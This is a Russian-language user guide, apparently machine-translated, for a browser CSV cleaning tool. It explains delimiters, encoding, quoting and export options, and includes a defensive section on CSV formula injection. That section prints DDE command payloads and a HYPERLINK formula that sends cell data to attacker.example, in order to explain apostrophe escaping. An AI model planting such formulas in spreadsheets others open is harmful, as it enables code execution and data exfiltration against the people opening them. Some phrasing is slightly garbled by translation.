Аккуратные разделители, заголовки, дубликаты и кодировки при экспорте электронных таблиц.
Файл CSV на самом деле не является форматом, это семейство соглашений. Спецификация, на которую указывает большинство инструментов, RFC 4180, была написана в 2005 для описания того, что программное обеспечение уже делало, а не для указания ему, что делать. В результате две программы могут заявить о поддержке CSV и при этом не согласиться относительно разделителя, окончания строки, стиля кавычек и кодировки символов.
Самый распространенный сюрприз — разделитель. Программное обеспечение, продаваемое в странах, где в качестве десятичного разделителя используется запятая (большая часть континентальной Европы), часто экспортирует файлы, разделенные точкой с запятой, поскольку запятая уже занята. Эти файлы по-прежнему заканчиваются на .csv. Откройте его в инструменте, который предполагает использование запятых, и каждая строка свернется в один столбец.
Второй по распространенности сюрприз – это кодирование. Файл, сохраненный как UTF-8, часто начинается с невидимого трехбайтового маркера, называемого знаком порядка байтов. Excel в Windows использует его для распознавания UTF-8. Многие инструменты Unix этого не ожидают, поэтому метка приклеивается к первому имени заголовка, и столбец с именем «id» автоматически становится столбцом с именем «id», которому никогда не будет соответствовать никакой поиск.
Выберите свой файл. Анализ происходит в фоновом рабочем потоке, поэтому даже большой экспорт не приведет к зависанию страницы во время ее чтения.
В первый раз оставьте разделитель на «Автоопределение». Обнаружение работает путем анализа выборки с каждым возможным разделителем и выбора того, который дает наиболее последовательный прямоугольный результат — именно поэтому его не обманывают запятые, находящиеся внутри полей в кавычках файла, разделенного точкой с запятой. Если предварительный просмотр по-прежнему выглядит неправильно, переопределите его вручную.
Прежде чем делать что-либо еще, проверьте количество строк и столбцов в средстве выбора файлов. Если количество столбцов равно 1, разделитель неправильный. Если количество строк намного больше, чем вы ожидали, файл, вероятно, содержит символы новой строки в кавычках, которые уже были искажены другим инструментом.
В предупреждениях указывается конкретный номер строки, считая так, как вы считаете в текстовом редакторе, поэтому вы можете пойти и непосредственно посмотреть на проблему.
Предупреждение о «неровной строке» означает, что в строке содержится другое количество ячеек, чем в заголовке. Этот инструмент никогда не отбрасывает эти ячейки. Короткие строки дополняются пробелами, а длинные строки сохраняют свои дополнительные значения, потому что тихое удаление чьих-либо данных для придания сетке аккуратного вида — худшее, что может сделать инструмент очистки. Исправьте исходную строку, если лишняя запятая была ошибкой.
Предупреждение о «незакрытой кавычке» означает, что двойная кавычка была открыта и никогда не закрывалась, поэтому все, что происходит после нее, читается как одно огромное поле. Почти всегда это действительное повреждение исходного файла, и его стоит исправлять в исходном коде, а не в нисходящем.
Кнопки очистки применяются ко всей таблице, и каждую из них можно отменить. При удалении повторяющихся строк сохраняется первое вхождение, поэтому исходная строка сохраняется, а порядок сохранившихся данных не меняется.
Элементы управления столбцами позволяют переименовывать заголовки, выбирать, какие столбцы экспортировать, и сортировать по любому столбцу. Сортировка определяет, является ли столбец числовым: числовой столбец сортирует 9 перед 10, а текстовый столбец сортирует «10» перед «9», что обычно является тем, что вам нужно в каждом конкретном случае.
Перед загрузкой посмотрите варианты экспорта. Опция безопасного введения формулы включена по умолчанию и описана в отдельном руководстве ниже — именно она имеет реальные последствия для безопасности.
Файл CSV не содержит кода, но приложение для работы с электронными таблицами с радостью воспримет часть его текста как код в момент открытия файла.
Excel, Google Sheets и LibreOffice Calc интерпретируют ячейку, первый символ которой равен =, +, - или @, как начало формулы. Такое поведение является преднамеренным и полезным, когда вы вводите его самостоятельно. Это становится уязвимостью, когда содержимое ячейки поступает откуда-то, что вы не контролируете.
Представьте себе веб-форму, которая собирает имя, и администратора, который периодически экспортирует отправленные данные в CSV и открывает их в Excel. Злоумышленник отправляет имя, которое является не именем, а формулой.
Классическая полезная нагрузка выглядит так: =cmd|' /C расчет!A0. Когда экспорт открыт, Excel анализирует его как инструкцию динамического обмена данными, а не как текст. В старых и неисправленных конфигурациях будет предпринята попытка запустить внешнюю программу. В современных версиях сначала отображается предупреждение, но это единственное, что стоит между полезной нагрузкой и выполнением, и пользователи просматривают подсказки.
Эксфильтрация данных является более тихим вариантом и вообще не требует DDE. =HYPERLINK("https://attacker.example/?d="&A1,"Click подробнее") создает ссылку, содержащую содержимое соседней ячейки. Любопытный администратор щелкает по ней, и строка таблицы покидает здание в URL. IMPORTXML в Google Sheets может получить удаленный URL вообще без необходимости щелчка мышью.
Важным моментом является то, что злоумышленнику никогда не требовался доступ к электронной таблице, инструменту экспорта или машине администратора. Им нужно было только одно текстовое поле, которое в конечном итоге достигало экспорта CSV. Вот почему уязвимость обычно фиксируется в приложении, создавшем файл, а не в электронной таблице, которая его открыла.
Когда включена функция «Безопасность от внедрения формул» — а она включена по умолчанию — перед записью каждой ячейке, первый символ которой равен =, +, -, @, табуляции или возврату каретки, добавляется один апостроф.
Апостроф — это обычный маркер электронной таблицы, означающий «рассматривать остальную часть этой ячейки как обычный текст». Excel не отображает его в ячейке; вы видите это только в строке формул. Полезная нагрузка все еще видна и полностью поддается восстановлению, но она инертна.
Табуляция и возврат каретки включены в этот список, поскольку они представляют собой пробелы, которые некоторые наивные фильтры обрезают перед проверкой первого символа, что позволяет полезной нагрузке проскользнуть мимо проверки, которая рассматривала только нулевой индекс обрезанной строки. Проверка необработанного первого символа закрывает этот пробел.
Устранение изменений изменяет ваши данные, и не существует версии, которая бы этого не делала. Если ячейка действительно содержала =SUM(A1:A2), поскольку вы хотели, чтобы на выходе была рабочая формула, безопасный экспорт преобразует ее в буквальный текст =SUM(A1:A2), и она не будет вычислена. Электронная таблица не может отличить предполагаемую вами формулу от формулы злоумышленника, и мы тоже не можем.
Именно поэтому это видимое переключение, а не молчаливое поведение. Если вы экспортируете файл, который должен содержать действующие формулы, и доверяете каждому значению в нем, намеренно и сознательно отключите эту опцию. Если данные содержат что-либо, полученное от пользователя, формы, клиента, опроса или внешней системы, оставьте это включенным.
Стоит знать одно уточнение. Наивная реализация помечает каждую ячейку, начинающуюся со знака минус, что искажает каждое отрицательное число в файле: -42 становится '-42 и перестает быть числом, незаметно искажая весь столбец финансовых данных. Этот инструмент исключает значения, которые анализируются как простые числа, поэтому -42, -3.14 и -1e5 проходят без изменений, а -1+1+cmd|' /Ccalc'!A0 нет, поскольку это не число.
Escape при записи, а не при чтении. Создаваемый вами файл должен быть безопасно открыт где угодно, поскольку вы не можете контролировать, какое приложение его откроет или сколько лет этому приложению.
Не полагайтесь на диалоговое окно с предупреждением электронной таблицы в качестве средства контроля. Это последняя линия защиты, направленная на пользователя, который пытается выполнить свою работу, и ее обычно отклоняют.
Не пытайтесь решить эту проблему, убирая опасных персонажей. Удаление начального = повреждает законные данные и по-прежнему пропускает полезные данные, начинающиеся с пробела. Префикс с апострофом сохраняет исходное значение, но удаляет его исполняемость, поэтому это рекомендуемый подход.
Поле должно быть заключено в двойные кавычки, если оно содержит разделитель, двойную кавычку или разрыв строки. Внутри поля, заключенного в кавычки, дважды пишется двойная кавычка: «она сказала «привет»» — одно поле, содержащее она сказала «привет».
Этот инструмент минимально использует кавычки при экспорте: поля переносятся только тогда, когда это необходимо. Это означает, что файл, каждое поле которого было заключено в кавычки при вводе, может получиться с меньшим количеством кавычек. Данные идентичны — «Ада» и Ада — одно и то же значение, но байты различаются. Если вам нужно цитировать каждое поле, используйте опцию «Цитировать каждое поле».
Поля со значимыми начальными или конечными пробелами всегда заключаются в кавычки, поскольку некоторые анализаторы удаляют некавычное заполнение и в противном случае изменили бы ваши значения.
RFC 4180 указывает CRLF между записями, и это то, что этот инструмент записывает по умолчанию, поскольку это наиболее широко совместимый выбор среди инструментов Windows и Unix.
На входе принимаются все три соглашения: CRLF, LF и одиночный CR. Новая строка внутри поля в кавычках сохраняется как часть значения и не начинает новую строку.
Ваш файл читается браузером, анализируется в Web Worker на вашем устройстве, преобразуется в памяти и записывается обратно с помощью собственного механизма загрузки браузера. Оно никогда не передается.
Ничего не сохраняется. Здесь нет автосохранения, локальной базы данных и истории, которая сохраняется после перезагрузки страницы. Закрытие вкладки отменяет все; «Очистить данные» делает то же самое немедленно.
Аналитика и реклама отключены в этом продукте во всех средах. Никакие данные об использовании вашего файла — ни его имя, размер, содержимое или имена столбцов — не собираются, поскольку ничего из этого никогда никуда не отправляется.